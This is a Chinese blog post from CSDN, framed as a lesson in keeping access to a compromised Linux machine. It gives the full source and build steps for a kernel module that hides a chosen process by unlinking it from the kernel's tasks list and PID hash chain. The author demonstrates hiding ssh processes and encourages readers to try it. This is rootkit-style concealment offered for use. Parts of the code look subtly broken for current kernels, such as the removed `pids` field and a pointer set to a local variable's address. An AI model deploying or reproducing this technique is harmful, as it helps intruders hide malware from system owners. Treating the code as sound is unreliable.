进程隐藏之从tasks与pid链表摘除

本文介绍了Linux内核中的PID链和tasks链表,展示了如何通过修改task_struct结构来从系统层面隐藏进程。作者提供了一个hide_process模块示例,演示了如何从PID链表和tasks链中移除进程,以实现隐藏效果。
摘要由CSDN通过智能技术生成

为了把最好的课程带给大家,这周还是忙于打磨课程,所以更新慢了一点,见谅!

试听课会在这周末上线,敬请期待!

今天继续之前的话题--权限维持之隐藏进程,之前有读者反映看不懂,故这篇选择一个容易理解上手简单的手法--从tasks与pid链表摘除进程。


本文目录

图片

何为PID 链

也就是基于 PID 的链表。

内核中使用一种特殊的数据结构来快速查找基于 PID 的进程信息。这就是 PID 链,它是一种哈希表结构,其中包含了指向 task_struct 的指针。

每个 task_struct 结构体中都包含一个 PID 链表的节点,task_struct包含了进程的详细信息。这些节点链接在一起,形成了一个快速查找特定 PID 对应进程的结构。

通过 PID 链,内核可以迅速找到与特定 PID 相关联的 task_struct 实例,这对于处理诸如信号传递、进程通信等任务至关重要。

何为tasks链表

这个链表由 task_struct 结构体组成,用于维护系统中所有进程的信息,每个进程在内核中都有一个对应的 task_struct 实例。

作用:进程追踪,进程管理。

那么我们把要隐藏的进程从这两个链表摘除,也就是将进程从全局的任务列表中删除,是不是就达到在系统级别隐藏进程的效果了?

开始实验

先看一下ssh的相关进程,隐藏2198进程

图片

hide_process.c文件内容如下

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/sched/signal.h>

/* 隐藏特定 PID 的进程 */
void hide_process(void)
{
   int pid = 2198; // 您想要隐藏的进程 PID
   struct task_struct *task = NULL;
   struct pid *pid_struct = NULL;
   struct hlist_node *node = NULL;

   /* 获取指定 PID 的 task_struct */
   pid_struct = find_get_pid(pid);
   task = pid_task(pid_struct, PIDTYPE_PID);
   if (!task)
       return;

   /* 从任务列表中删除该进程 */
   list_del_rcu(&task->tasks);
   INIT_LIST_HEAD(&task->tasks);

   /* 从 PID 链表中删除该进程 */
   node = &task->pids[PIDTYPE_PID].node;
   hlist_del_rcu(node);
   INIT_HLIST_NODE(node);
   node->pprev = &node;

   put_pid(pid_struct);
}

static int __init test_init(void)
{
   hide_process();
   return 0;
}

static void __exit test_exit(void)
{
   printk(KERN_INFO "Module exit: Process hiding\n");
}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");

Makefile文件内容如下

obj-m += hide_process.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

make并加载到内核

图片

再次查看ssh相关进程,ok隐藏了。

好玩,卸载掉这个模块,再隐藏一个玩玩,改一下对应pid为3273

图片

ok,成功全部隐藏。简简单单。

最后感叹一句,路虽远 行则将至,事虽难 做则必成。希望各位读者不要畏手畏脚,文章中遇到读不懂的东西一定要去研究一下,不要得过且过,偷懒只会让你原地踏步甚至是不进则退,纸上得来终觉浅,绝知此事要躬行,不仅要看懂,更要去实践一下,这样才能有更深刻的理解,才能真正掌握知识࿰

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值